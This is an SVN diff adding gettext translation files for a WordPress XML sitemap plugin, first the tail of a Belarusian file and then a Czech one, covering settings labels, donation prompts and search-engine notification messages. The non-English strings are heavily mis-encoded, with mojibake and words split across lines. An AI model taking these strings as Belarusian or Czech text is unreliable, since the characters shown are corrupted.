+ ÐŽÐ° ÑÐ°Ð¹Ð»Ð° Ð· ÐºÐ°ÑÑÐ°Ð¹ ÑÐ°Ð¹ÑÐ°, ÑÐºÐ»ÑÑÐ°ÑÑÑ ÑÐŒÑ ÑÐ°Ð¹Ð»Ð°."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3371
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3380
+msgid "Example"
+msgstr "ÐÑÑÐºÐ»Ð°ÐŽ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3378
+msgid "Complete URL to the sitemap file, including name."
+msgstr "ÐÐ°Ð¿ÐŸÑÐœÑÑÐµ URL ÐŽÐ° ÑÐ°Ð¹Ð»Ð° Ð· ÐºÐ°ÑÑÐ°Ð¹ ÑÐ°Ð¹ÑÐ°, ÑÐºÐ»ÑÑÐ°ÑÑÑ ÑÐŒÑ ÑÐ°Ð¹Ð»Ð°."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3397
+msgid "Sitemap Content"
+msgstr "Ð£ÑÑÑÐŒÐ°ÐœÐœÐµ ÐºÐ°ÑÑÑ ÑÐ°Ð¹ÑÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3405
+msgid "Include homepage"
+msgstr "Ð£ÐºÐ»ÑÑÑÑÑ Ñ
+Ð°ÑÐœÑÑ ÑÑÐ°ÑÐŸÐœÐºÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3411
+msgid "Include posts"
+msgstr "Ð£ÐºÐ»ÑÑÑÑÑ Ð°ÑÑÑÐºÑÐ»Ñ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3417
+msgid "Include static pages"
+msgstr "Ð£ÐºÐ»ÑÑÑÑÑ ÑÑÐ°ÑÑÑÐœÑÑ ÑÑÐ°ÑÐŸÐœÐºÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3423
+msgid "Include categories"
+msgstr "Ð£ÐºÐ»ÑÑÑÑÑ ÐºÐ°ÑÑÐ³ÐŸÑÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3429
+msgid "Include archives"
+msgstr "Ð£ÐºÐ»ÑÑÑÑÑ Ð°ÑÑ
+ÑÐ²Ñ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3436
+msgid "Include tag pages"
+msgstr "Ð£ÐºÐ»ÑÑÑÑÑ ÑÑÐ°ÑÐŸÐœÐºÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3443
+msgid "Include author pages"
+msgstr "Ð£ÐºÐ»ÑÑÑÑÑ ÑÑÐ°ÑÐŸÐœÐºÑ Ð°ÑÑÐ°ÑÐ°Ñ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3457
+msgid "Change frequencies"
+msgstr "ÐÐŒÑÐœÑÑÑ ÑÐ°ÑÑÐŸÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3463
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "ÐÐ²ÐµÑÐœÐµÑÐµ ÑÐ²Ð°Ð³Ñ, ÑÑÐŸ Ð·ÐœÐ°ÑÑÐœÐœÐµ Ð³ÑÑÐ°Ð¹ Ð¿Ð°Ð·ÐœÐ°ÐºÑ Ð»ÑÑÑÑÑÐ° ÑÑÐºÐ°ÐŒÐµÐœÐŽÐ°ÑÑÑÐ¹ Ñ ÐœÐµ Ð·'ÑÑÐ»ÑÐµÑÑÐ° ÐºÐ°ÐŒÐ°ÐœÐŽÐ°Ð¹. ÐÐ°Ð²Ð°Ñ ÐºÐ°Ð»Ñ Ð¿ÐŸÑÑÐºÐ°Ð²ÑÑ ÑÐŸÐ±Ð°ÑÑ Ð±ÑÑÑÑÑ Ð³ÑÑÑÑ ÑÐœÑÐ°ÑÐŒÐ°ÑÑÑ ÐŽÐ° ÑÐ²Ð°Ð³Ñ ÐŽÐ»Ñ Ð¿ÑÑÐœÑÑÑÑ ÑÐ°ÑÑÐœÐœÑÑ, ÑÐœÑ ÐŒÐŸÐ³ÑÑÑ Ð°Ð³Ð»ÑÐŽÐ°ÑÑ ÑÑÐ°ÑÐŸÐœÐºÑ, Ð¿Ð°Ð·ÐœÐ°ÑÐ°ÐœÑÑ \"ÑÐ°Ð· Ñ Ð³Ð°ÐŽÐ·ÑÐœÑ\" ÑÐ°ÐŽÐ·ÐµÐ¹, ÑÑÐŒ Ð·Ð°Ð¿ÑÑÐ°ÐœÐ°, Ñ ÑÐœÑ ÐŒÐŸÐ³ÑÑÑ Ð°Ð³Ð»ÑÐŽÐ°ÑÑ ÑÑÐ°ÑÐŸÐœÐºÑ, Ð¿Ð°Ð·ÐœÐ°ÑÐ°ÐœÑÑ ÑÐº \"ÑÐ°Ð· Ñ Ð³ÐŸÐŽ\" Ð³ÑÑÑÐ°ÑÑ, ÑÑÐŒ Ð·Ð°Ð¿ÑÑÐ°ÐœÐ°. Ð¢Ð°ÐºÑÐ°ÐŒÐ° Ð±ÑÐ²Ð°Ðµ, ÑÑÐŸ Ð¿ÐŸÑÑÐºÐ°Ð²ÑÑ ÑÐŸÐ±Ð°ÑÑ Ð°Ð³Ð»ÑÐŽÐ°ÑÑÑ ÑÑÐ°ÑÐŸÐœÐºÑ, Ð¿Ð°Ð·ÐœÐ°ÑÐ°ÐœÑÑ ÑÐº \"ÐœÑÐºÐŸÐ»Ñ\", Ð°ÐŽÐ·ÐœÐ°ÑÐ°ÑÑÑ ÐœÐµ Ð¿ÑÐ°ÐŽÑÐ³Ð»ÐµÐŽÐ¶Ð°ÐœÑÑ Ð·ÐŒÐµÐœÑ ÐœÐ° Ð³ÑÑÑÑ
+ ÑÑÐ°ÑÐŸÐœÐºÐ°Ñ
+."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3469
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3535
+msgid "Homepage"
+msgstr "ÐÐ°Ð»ÐŸÑÐœÐ°Ñ ÑÑÐ°ÑÐŸÐœÐºÐ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3475
+msgid "Posts"
+msgstr "ÐÑÑÑÐºÑÐ»Ñ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3481
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3553
+msgid "Static pages"
+msgstr "Ð¡ÑÐ°ÑÑÑÐœÑÑ ÑÑÐ°ÑÐŸÐœÐºÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3487
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3559
+msgid "Categories"
+msgstr "ÐÐ°ÑÑÐ³ÐŸÑÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3493
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "ÐÑÐ³ÑÑÑ Ð°ÑÑ
+ÑÑ Ð·Ð° Ð³ÑÑÑ ÐŒÐµÑÑÑ (ÐÐ°Ð²ÑÐœÐµÐœ Ð±ÑÑÑ ÑÑÐŒ Ð¶Ð°, ÑÑÐŸ Ñ ÐÐ°Ð»ÐŸÑÐœÐ°Ñ ÑÑÐ°ÑÐŸÐœÐºÐ°)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3499
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "Ð¡ÑÐ°ÑÑÑ Ð°ÑÑ
+ÑÐ²Ñ (ÐÐŒÑÐœÑÑÑÑÐ° ÑÐŸÐ»ÑÐºÑ Ñ Ð²ÑÐ¿Ð°ÐŽÐºÑ, ÐºÐ°Ð»Ñ ÐÑ ÑÑÐŽÐ°Ð³ÑÐµÑÐµ ÑÑÐ°ÑÑÑ Ð°ÑÑÑÐºÑÐ»Ñ)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3506
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3572
+msgid "Tag pages"
+msgstr "Ð¡ÑÐ°ÑÐŸÐœÐºÑ Ð¿Ð°Ð·Ð°ÐœÐ°Ðº"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3513
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3579
+msgid "Author pages"
+msgstr "Ð¡ÑÐ°ÑÐŸÐœÐºÑ Ð°ÑÑÐ°ÑÐ°Ñ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3527
+msgid "Priorities"
+msgstr "ÐÑÑÑÑÑÑÑÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3541
+msgid "Posts (If auto calculation is disabled)"
+msgstr "ÐÑÑÑÐºÑÐ»Ñ (ÐÐ°Ð»Ñ Ð°ÑÑÐ°ÐŒÐ°ÑÑÑÐœÐ°Ðµ Ð²ÑÐ»ÑÑÑÐœÐœÐµ Ð·Ð°Ð±Ð°ÑÐŸÐœÐµÐœÐ°Ðµ)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3547
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "ÐÑÐœÑÐŒÐ°Ð»ÑÐœÑ Ð¿ÑÑÑÑÑÑÑÑ Ð°ÑÑÑÐºÑÐ»Ð° (ÐÐ°Ð²Ð°Ñ ÐºÐ°Ð»Ñ  Ð°ÑÑÐ°ÐŒÐ°ÑÑÑÐœÐ°Ðµ Ð²ÑÐ»ÑÑÑÐœÐœÐµ ÐŽÐ°Ð·Ð²ÐŸÐ»ÐµÐœÐ°)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3565
+msgid "Archives"
+msgstr "ÐÑÑ
+ÑÐ²Ñ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3590
+msgid "Update options"
+msgstr "ÐÐ±ÐœÐ°Ð²ÑÑÑ Ð¿Ð°ÑÐ°ÐŒÐµÑÑÑ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3591
+msgid "Reset options"
+msgstr "ÐÑÑÐœÑÑÑ Ð·ÑÑ
+ÐŸÐŽÐœÑÑ Ð·ÐœÐ°ÑÑÐœÐœÑ"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-cs_CZ.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-cs_CZ.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-cs_CZ.po	(revision 44)
@@ -0,0 +1,604 @@
+# [Countryname] Language File for sitemap (sitemap-[localname].po)
+# Copyright (C) 2005 [name] : [URL]
+# This file is distributed under the same license as the WordPress package.
+# [name] <[mail-address]>, 2005.
+# $Id: sitemap.pot 2502 2005-07-03 20:50:38Z arnee $
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: sitemap\n"
+"Report-Msgid-Bugs-To: <[mail-address]>\n"
+"POT-Creation-Date: 2005-06-15 00:00+0000\n"
+"PO-Revision-Date: 2007-11-21 20:50+0100\n"
+"Last-Translator: Peter Kahoun <kahi@kahi.cz>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Language-Team: \n"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:846
+msgid "Comment Count"
+msgstr "PoÄet komentÃ¡ÅÅ¯"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:858
+msgid "Uses the number of comments of the post to calculate the priority"
+msgstr "K vypoÄÃ­tÃ¡nÃ­ priority se vyuÅŸÃ­vÃ¡ poÄet komentÃ¡ÅÅ¯"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:918
+msgid "Comment Average"
+msgstr "PrÅ¯mÄrnÃœ poÄet komentÃ¡ÅÅ¯"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:930
+msgid "Uses the average comment count to calculate the priority"
+msgstr "K vypoÄÃ­tÃ¡nÃ­ priority se vyuÅŸÃ­vÃ¡ prÅ¯mÄrnÃ©ho poÄtu komentÃ¡ÅÅ¯"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:993
+msgid "Popularity Contest"
+msgstr "SoutÄÅŸ popularity"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:1005
+msgid "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
+msgstr "VyuÅŸÃ­vÃ¡ se pluginu <a href=\"%1\">SoutÄÅŸ popularity (Popularity contest)</a> od <a href=\"%2\">Alexe Kinga</a>. Viz <a href=\"%3\">NastavenÃ­</a> a <a href=\"%4\">NejpopulÃ¡rnÄjÅ¡Ã­ pÅÃ­spÄvky</a>"
+
+msgid "XML-Sitemap Generator"
+msgstr "GenerÃ¡tor XML-Sitemapy"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2415
+msgid "XML-Sitemap"
+msgstr "XML-Sitemap"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+msgid "Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!"
+msgstr "DÄkuji vÃ¡m mockrÃ¡t za vaÅ¡e pÅÃ­spÄvky. PomÃ¡hÃ¡te tÃ­m pokraÄovat v podpoÅe a vÃœvoji tohoto pluginu a dalÅ¡Ã­ho nekomerÄnÃ­ho softwaru!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+msgid "Hide this notice"
+msgstr "SkrÃœt toto oznÃ¡menÃ­"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+#, php-format
+msgid "Thanks for using this plugin! You've installed this plugin over a month ago. If it works and your are satisfied with the results, isn't it worth at least one dollar? <a href=\"%s\">Donations</a> help me to continue support and development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</a>"
+msgstr "DÃ­ky za pouÅŸÃ­vÃ¡nÃ­ tohoto pluginu! UÅŸ je to vÃ­ce neÅŸ mÄsÃ­c, co jste ho naistalovali. Pokud funguje k vaÅ¡Ã­ spokojenosti, nenÃ­ hoden alespoÅ toho jednoho dolaru? <a href=\"%s\">PenÄÅŸnÃ­ pÅÃ­spÄvky</a> mi pomÃ¡hajÃ­ pokraÄovat v podpoÅe a vÃœvoji tohoto <i>nekomerÄnÃ­ho</i> softwaru! <a href=\"%s\">OvÅ¡em, ÅŸÃ¡dnÃœ problÃ©m!</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+msgid "No thanks, please don't bug me anymore!"
+msgstr "Ne, dÃ­ky, uÅŸ mÄ prosÃ­m neotravuj!"
+
+msgid "XML Sitemap Generator for WordPress"
+msgstr "GenerÃ¡tor XML Sitemap"
+
+msgid "Configuration updated"
+msgstr "NastavenÃ­ aktualizovÃ¡no"
+
+msgid "Error while saving options"
+msgstr "PÅi uklÃ¡dÃ¡nÃ­ nastavenÃ­ nastala chyba"
+
+msgid "Pages saved"
+msgstr "StrÃ¡nka uloÅŸena"
+
+msgid "Error while saving pages"
+msgstr "PÅi uklÃ¡dÃ¡nÃ­ strÃ¡nek nastala chyba"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2748
+#, php-format
+msgid "<a href=\"%s\">Robots.txt</a> file saved"
+msgstr "Soubor <a href=\"%s\">robots.txt</a> uloÅŸen"
+
+msgid "Error while saving Robots.txt file"
+msgstr "PÅi uklÃ¡dÃ¡nÃ­ souboru robots.txt nastala chyba"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2758
+msgid "The default configuration was restored."
+msgstr "VÃœchozÃ­ nastavenÃ­ bylo obnoveno."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2851
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2868
+msgid "open"
+msgstr "otevÅÃ­t"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2852
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2869
+msgid "close"
+msgstr "zavÅÃ­t"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2853
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2870
+msgid "click-down and drag to move this box"
+msgstr "PodrÅŸte tlaÄÃ­tko myÅ¡i a tÃ¡hnÄte tento box dolÅ¯"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2854
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2871
+msgid "click to %toggle% this box"
+msgstr "kliknÄte k pÅepnutÃ­ viditelnosti tohoto boxu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2855
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2872
+msgid "use the arrow keys to move this box"
+msgstr "k pÅesunutÃ­ tohoto boxu pouÅŸijte Å¡ipky na klÃ¡vesnici"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2856
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2873
+msgid ", or press the enter key to %toggle% it"
+msgstr ", anebo stisknÄte Enter k pÅepnutÃ­ viditelnosti"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2884
+msgid "About this Plugin:"
+msgstr "O tomto pluginu:"
+
+msgid "Plugin Homepage"
+msgstr "DomovskÃ¡ strÃ¡nka pluginu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2887
+msgid "Notify List"
+msgstr "Oznamovatel novinek"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2888
+msgid "Support Forum"
+msgstr "Podpora (fÃ³rum)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2889
+msgid "Donate with PayPal"
+msgstr "PÅispÄjte pÅes PayPal"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2890
+msgid "My Amazon Wish List"
+msgstr "MÅ¯j WishList na Amazonu"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+msgid "translator_name"
+msgstr "Peter \"Kahi\" Kahoun"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+msgid "translator_url"
+msgstr "http://kahi.cz/wordpress"
+
+msgid "Sitemap Resources:"
+msgstr "Zdroje:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2897
+msgid "Webmaster Tools"
+msgstr "Webmaster Tools"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2898
+msgid "Webmaster Blog"
+msgstr "Webmaster Blog"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2900
+msgid "Site Explorer"
+msgstr "Site Explorer"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2901
+msgid "Search Blog"
+msgstr "Search Blog"
+
+msgid "Sitemaps Protocol"
+msgstr "Sitemaps protokol"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2904
+msgid "Official Sitemaps FAQ"
+msgstr "OficiÃ¡lnÃ­ Sitemaps FAQ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2905
+msgid "My Sitemaps FAQ"
+msgstr "MÃ© Sitemaps FAQ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2910
+msgid "Recent Donations:"
+msgstr "PoslednÃ­ pÅÃ­spÄvky:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2914
+msgid "List of the donors"
+msgstr "Seznam dÃ¡rcÅ¯"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2916
+msgid "Hide this list"
+msgstr "SkrÃœt seznam"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2919
+msgid "Thanks for your support!"
+msgstr "DÃ­ky za vaÅ¡i podporu!"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2931
+msgid "Status"
+msgstr "Stav"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2941
+#, php-format
+msgid "The sitemap wasn't built yet. <a href=\"%s\">Click here</a> to build it the first time."
+msgstr "Sitemapa jeÅ¡tÄ nebyla vytvoÅena. <a href=\"%s\">KliknÄte sem</a> pro prvnÃ­ vytvoÅenÃ­."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2947
+msgid "Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>."
+msgstr "VaÅ¡e <a href=\"%url%\">sitemapa</a> byla naposledy aktualizovÃ¡na <b>%date%</b>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2949
+msgid "There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "Vyskytl se problÃ©m pÅi zÃ¡pisu do souboru sitemapy. UjistÄte se prosÃ­m, ÅŸe soubor existuje a je do nÄj povolen zÃ¡pis. <a href=\"%url%\">DozvÄdÄt se vÃ­c</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2956
+msgid "Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>."
+msgstr "VaÅ¡e  <a href=\"%url%\">zazipovanÃ¡ sitemapa</a> byla naposledy aktualizovÃ¡na <b>%date%</b>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2958
+msgid "There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "Vyskytl se problÃ©m pÅi zÃ¡pisu do souboru zazipovanÃ© sitemapy. UjistÄte se prosÃ­m, ÅŸe soubor existuje a je do nÄj povolen zÃ¡pis. <a href=\"%url%\">DozvÄdÄt se vÃ­c</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2964
+msgid "Google was <b>successfully notified</b> about changes."
+msgstr "Google byl <b>ÃºspÄÅ¡nÄ upozornÄn</b> na zmÄny."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2967
+msgid "It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time."
+msgstr "OznÃ¡menÃ­ Googlu zabralo %time% sekund, moÅŸnÃ¡ budete chtÃ­t deaktivovat tuto funkci pro snÃ­ÅŸenÃ­ potÅebnÃ©ho Äasu k vytvÃ¡ÅenÃ­ sitemapy."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3011
+#, php-format
+msgid "There was a problem while notifying Google. <a href=\"%s\">View result</a>"
+msgstr "Vyskytl se problÃ©m pÅi oznamovÃ¡nÃ­ zmÄn Googlu. <a href=\"%s\">ProhlÃ©dnout vÃœsledek</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2976
+msgid "YAHOO was <b>successfully notified</b> about changes."
+msgstr "Yahoo byl  <b>ÃºspÄÅ¡nÄ upozornÄn</b> na zmÄny."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2979
+msgid "It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time."
+msgstr "OznÃ¡menÃ­ Yahoo zabralo %time% sekund, moÅŸnÃ¡ budete chtÃ­t deaktivovat tuto funkci pro snÃ­ÅŸenÃ­ potÅebnÃ©ho Äasu k vytvÃ¡ÅenÃ­ sitemapy."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3023
+#, php-format
+msgid "There was a problem while notifying YAHOO. <a href=\"%s\">View result</a>"
+msgstr "Vyskytl se problÃ©m pÅi oznamovÃ¡nÃ­ zmÄn Yahoo. <a href=\"%s\">ProhlÃ©dnout vÃœsledek</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2988
+msgid "Ask.com was <b>successfully notified</b> about changes."
+msgstr "Ask.com byl  <b>ÃºspÄÅ¡nÄ upozornÄn</b> na zmÄny."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2991
+msgid "It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time."
+msgstr "OznÃ¡menÃ­ Ask.com zabralo %time% sekund, moÅŸnÃ¡ budete chtÃ­t deaktivovat tuto funkci pro snÃ­ÅŸenÃ­ potÅebnÃ©ho Äasu k vytvÃ¡ÅenÃ­ sitemapy."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3035
+#, php-format
+msgid "There was a problem while notifying Ask.com. <a href=\"%s\">View result</a>"
+msgstr "Vyskytl se problÃ©m pÅi oznamovÃ¡nÃ­ zmÄn Ask.com. <a href=\"%s\">ProhlÃ©dnout vÃœsledek</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3002
+msgid "The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory."
+msgstr "Proces vytvÃ¡ÅenÃ­ zabral kolem <b>%time% seconds</b> a spotÅeboval %memory% MB pamÄti."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3004
+msgid "The building process took about <b>%time% seconds</b> to complete."
+msgstr "Proces vytvÃ¡ÅenÃ­ zabral kolem <b>%time% sekund</b>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3008
+msgid "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+msgstr "Obsah vaÅ¡Ã­ sitemapy <strong>se nezmÄnil</strong> od poslednÃ­ho vytvÃ¡ÅenÃ­, takÅŸe soubory nebyly aktualizovÃ¡ny a vyhledÃ¡vaÄe nebyly upozorÅovÃ¡ny na zmÄny."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3012
+msgid "The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>"
+msgstr "PoslednÃ­ bÄh neprobÄhl do konce! MoÅŸnÃ¡ byste mohli navÃœÅ¡it limit pamÄti Äi maximÃ¡lnÃ­ho Äasu pro PHP skripty. <a href=\"%url%\">DozvÄdÄt se vÃ­c</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3014
+msgid "The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%."
+msgstr "PoslednÃ­ znÃ¡mÃ© vyuÅŸitÃ­ pamÄti bylo %memused%MB, limit vaÅ¡eho serveru je %memlimit%."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3018
+msgid "The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds."
+msgstr "PoslednÃ­ znÃ¡mÃœ Äas trvÃ¡nÃ­ skriptu byl  %timeused%  sekund, limit vaÅ¡eho serveru je %timelimit% sekund."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3022
+msgid "The script stopped around post number %lastpost% (+/- 100)"
+msgstr "Skript byl zastaven kolem pÅÃ­spÄvku ÄÃ­slo %lastpost% (+/- 100)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3025
+#, php-format
